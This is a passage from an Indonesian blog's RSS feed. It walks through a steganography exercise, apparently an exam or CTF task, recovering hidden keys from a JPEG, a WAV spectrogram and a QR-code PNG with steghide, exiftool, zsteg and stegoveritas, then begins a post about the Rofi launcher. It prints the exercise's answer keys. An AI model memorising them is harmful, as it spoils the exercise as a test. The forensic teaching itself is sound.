&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Jawab&lt;a href=&quot;#jawab&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;1. Key File1: …?&lt;a href=&quot;#1-key-file1-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita pastikan dulu jenis dan hash value dari filenya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;md5sum&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ll&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;376&quot; src=&quot;/_astro/ss10.DuOW8tg0_R8bKQ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sebuah file JPEG biasa, kalau kita buka dengan image viewer:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ristretto&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;540&quot; height=&quot;444&quot; src=&quot;/_astro/ss11.DNV9D30I_Z3xAMY.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Hanya sebuah gambar pohon dan pemandangan langit berukuran 213xx160 px.&lt;/p&gt;&lt;p&gt;Sekarang, kita akan mencari &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt; yang disembunyikan pada file exam1.jpeg ini. Berhubung file-nya adalah file gambar (JPEG), jadi saya berasumsi kita bisa mencari &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt; tersebut dengan steghide:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;steghide&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;extract&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-sf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;225&quot; src=&quot;/_astro/ss12.o6NSBXR1_Zf65FU.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Ternyata minta parafrase. Kalau dikosongkan, kita tidak akan mendapatkan file &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt; yang dimaksud tadi. Jadi, sebelum bisa mendapatkan &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt;-nya, kita harus tau terlebih dahulu parafrase untuk extract file berisi &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt; tersebut. Di sini, saya akan menggunakan exiftool:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exiftool&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;647&quot; src=&quot;/_astro/ss13.B_JGeQ5U_Z2kX1hy.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berdasarkan &lt;em&gt;screenshot&lt;/em&gt; di atas, kita bisa lihat, exiftool memberikan kita info penting tentang parafrasenya. Pada bagian “Document Name”, di sana tertulis password=admin. Artinya, kita bisa menebak, “admin” adalah parafrase untuk mendapatkan &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt; tadi. Kita coba:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;steghide&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;extract&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-sf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.jpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;512&quot; height=&quot;277&quot; src=&quot;/_astro/ss14.CqYDzuC1_ZVybll.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil!!&lt;/p&gt;&lt;p&gt;Berarti Key File1: &lt;strong&gt;superkeykey&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Catatan:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Dengan &lt;strong&gt;steghide&lt;/strong&gt;, selain kita dapat mengekstrak file teks dari sebuah gambar (JPG/JPEG), kita juga bisa menyisipkan file teks ke sebuah gambar, seperti dua buah gambar apel yang di awal artikel ini saya tampilkan, itu saya membuatkan dengan steghide. Perintahnya juga sederhana dan dapat ditemukan di dokumentasi &lt;em&gt;help&lt;/em&gt;-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;steghide&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;embed&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-cf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cvr.jpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-ef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;emb.txt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Key File2: …?&lt;a href=&quot;#2-key-file2-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti soal sebelumnya, kita pastikan dulu hash value dan jenis filenya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;md5sum&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ll&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam2.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;744&quot; height=&quot;326&quot; src=&quot;/_astro/ss15.CsoiQiGM_ZGlAhx.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sebuah file WAVE audio. Kalau kita buka filenya dengan mpv misalnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam2.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;505&quot; height=&quot;181&quot; src=&quot;/_astro/ss16.Dy_R2xe8_ZUf5qL.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Karena ini file audio, kita bisa gunakan Sonic Visualiser untuk mencari &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt;-nya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;613&quot; src=&quot;/_astro/ss17.D7cMAsck_25G7Sw.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Tidak terlihat ada apa-apa bukan? Karena biasanya informasi rahasianya disimpan di spektogram. Jadi, kita buka spektogramnya di &lt;strong&gt;Layer&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Add Spectogram&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;615&quot; src=&quot;/_astro/ss18.fZ-w3e9u_z8OdC.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Terlihat informasi rahasia yang disembunyikan adalah sebuah url berikut: &lt;a href=&quot;https://imgur.com/KTrtNI5&quot; target=&quot;_blank&quot;&gt;https://imgur.com/KTrtNI5&lt;/a&gt;. Link tersebut mengarahkan kita ke suatu file gambar pensil yang harus kita unduh, KTrtNI5.png, sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;543&quot; height=&quot;449&quot; src=&quot;/_astro/ss19.D-1lxF7U_3nWLO.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Cek hash dan jenis filenya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;md5sum&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ll&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam2.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exam1.wav&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;627&quot; height=&quot;336&quot; src=&quot;/_astro/ss20.BvDIhLJO_10eErn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Karena file-nya adalah PNG, saya akan gunakan zsteg untuk mendapatkan &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt;-nya (karena kita masih belum dapat dari tadi…):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zsteg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;KTrtNI5.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;260&quot; src=&quot;/_astro/ss21.LSU3DfZQ_Z8qlBY.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil! Kita mendapatkan &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt;-nya!!!&lt;/p&gt;&lt;p&gt;Berarti Key File2: &lt;strong&gt;fatality&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Key File3: …?&lt;a href=&quot;#3-key-file3-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti biasa, kita identifikasi hash dan jenis filenya terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;md5sum&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qrcode.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ll&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qrcode.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qrcode.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;625&quot; height=&quot;331&quot; src=&quot;/_astro/ss22.RIW03bTP_1ivJ3S.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kalau dibuka:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ristretto&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qrcode.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;621&quot; height=&quot;610&quot; src=&quot;/_astro/ss23.gRLJw1Kt_12mli8.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;… adalah sebuah QR Code biasa. Tapi, kita tidak bisa men-&lt;em&gt;scan&lt;/em&gt; QR Code tersebut karena warnanya yang “tidak bagus”. Jadi, kita perlu mencari versi warna yang paling tepat dari QR Code ini supaya bisa di-&lt;em&gt;scan&lt;/em&gt;. Saya akan gunakan stegoveritas:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;stegoveritas&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qrcode.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;751&quot; src=&quot;/_astro/gif1.Ci94UIFv_Z22OiFe.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah prosesnya selesai, kita mendapat satu folder / direktori baru, “results”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;513&quot; height=&quot;222&quot; src=&quot;/_astro/ss24.J34j4Vt4_Zn4P4M.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di dalamnya, terdapat banyak file QR Code dengan warna baru hasil dari ekstraksi oleh stegoveritas tadi…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;609&quot; src=&quot;/_astro/ss25.BOQ6SQdw_1gXhUK.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita hanya perlu mencari file dengan gambar QR Code yang paling jelas, yaitu warna hitam putih dan tentu saja bisa di-&lt;em&gt;scan&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Setelah mencoba satu-satu, saya akhirnya mendapatkan saya file QR Code original, yaitu file dengan nama &lt;strong&gt;qrcode.png_Blue_2.png&lt;/strong&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;611&quot; src=&quot;/_astro/ss26.OlD25PhZ_YikyB.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Scan, atau kalau tidak bisa scan, kita bisa menggunakan bantuan website &lt;a href=&quot;https://webqr.com&quot; target=&quot;_blank&quot;&gt;Web QR&lt;/a&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;420&quot; height=&quot;559&quot; src=&quot;/_astro/ss27.DSndhg7S_ZcEDAr.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;EAASYY!!&lt;/p&gt;&lt;p&gt;Berarti Key File3: &lt;strong&gt;killshot&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Okey, sekian dulu pembahasan tentang steganography kali ini. Sampai ketemu di artikel saya yang lain ya!!&lt;/p&gt;&lt;p&gt;Byee~&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Steganography&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Steganography&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dosen.perbanas.id/sejarah-steganografi/?print=print&quot; target=&quot;_blank&quot;&gt;https://dosen.perbanas.id/sejarah-steganografi/?print=print&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://teknokrat.ac.id/opini-sejarah-perkembangan-steganografi/&quot; target=&quot;_blank&quot;&gt;https://teknokrat.ac.id/opini-sejarah-perkembangan-steganografi/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.researchgate.net/publication/316665366_Design_of_Reconfigurable_Architectures_for_Steganography_System&quot; target=&quot;_blank&quot;&gt;https://www.researchgate.net/publication/316665366_Design_of_Reconfigurable_Architectures_for_Steganography_System&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://ijses.com/wp-content/uploads/2021/03/117-IJSES-V4N12.pdf&quot; target=&quot;_blank&quot;&gt;http://ijses.com/wp-content/uploads/2021/03/117-IJSES-V4N12.pdf&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain&quot; target=&quot;_blank&quot;&gt;https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nordvpn.com/blog/what-is-steganography/&quot; target=&quot;_blank&quot;&gt;https://nordvpn.com/blog/what-is-steganography/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.researchgate.net/publication/347680043_High-Capacity_Image_Steganography_Based_on_Improved_Xception&quot; target=&quot;_blank&quot;&gt;https://www.researchgate.net/publication/347680043_High-Capacity_Image_Steganography_Based_on_Improved_Xception&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.researchgate.net/publication/320124080_Audio_Steganography_Techniques_A_Survey&quot; target=&quot;_blank&quot;&gt;https://www.researchgate.net/publication/320124080_Audio_Steganography_Techniques_A_Survey&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://link.springer.com/article/10.1007/s11042-023-14844-w&quot; target=&quot;_blank&quot;&gt;https://link.springer.com/article/10.1007/s11042-023-14844-w&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-10&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.researchgate.net/publication/228623052_Information_hiding_A_new_approach_in_text_steganography&quot; target=&quot;_blank&quot;&gt;https://www.researchgate.net/publication/228623052_Information_hiding_A_new_approach_in_text_steganography&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-11&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Rofi - Beautiful &amp; Modern App Launcher</title><link>https://shangdi.github.io/posts/tech/rofi/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rofi/</guid><description>Rofi is an X11 pop-up window switcher, run dialog, dmenu replacement, and more. It focuses on being fast to use and have minimal distraction. </description><pubDate>Sat, 04 May 2024 03:38:46 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;What is &lt;strong&gt;Rofi&lt;/strong&gt;?&lt;/em&gt;&lt;/p&gt;
&lt;section&gt;&lt;h1&gt;Kenalan dengan Rofi&lt;a href=&quot;#kenalan-dengan-rofi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Teman kalian mungkin ada yang namanya Rofi. Tapi, tentu saja artikel ini tidak sedang menggosipkan Rofi sebagai manusia, tapi Rofi sebagai sebuah program, xixi.&lt;/p&gt;&lt;p&gt;Merujuk pada definisi &lt;em&gt;official&lt;/em&gt;-nya, secara singkat, Rofi yang dimaksud dalam artikel ini adalah&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;window switcher, run dialog and dmenu replacement
rofi can act as an application launcher, window switcher, ssh launcher and
dmenu replacement.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;496&quot; src=&quot;/_astro/ss1.T1Wo-Yab_Z1CLsE2.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Atau definisi dengan versi yang lebih komplit:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;rofi  is &lt;em&gt;an X11 pop-up window switcher, run dialog, dmenu replacement, and more. It focuses on being fast to use and have minimal distraction. It supports keyboard and  mouse  navigation, type to filter, tokenized search and more.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;496&quot; src=&quot;/_astro/ss2.C_jVJSnY_1ueyxz.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Nah, berdasarkan deskripsi di atas, bisa disimpulkan bahwa Rofi adalah sebuah program di ada di linux (dan sebetulnya bisa juga digunakan di Windows) yang dapat berfungsi sebagai:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Application Launcher&lt;/li&gt;
&lt;li&gt;Window Switcher. SSH launcher, dan&lt;/li&gt;
&lt;li&gt;&lt;em&gt;dmenu replacement&lt;/em&gt;&lt;/li&gt;
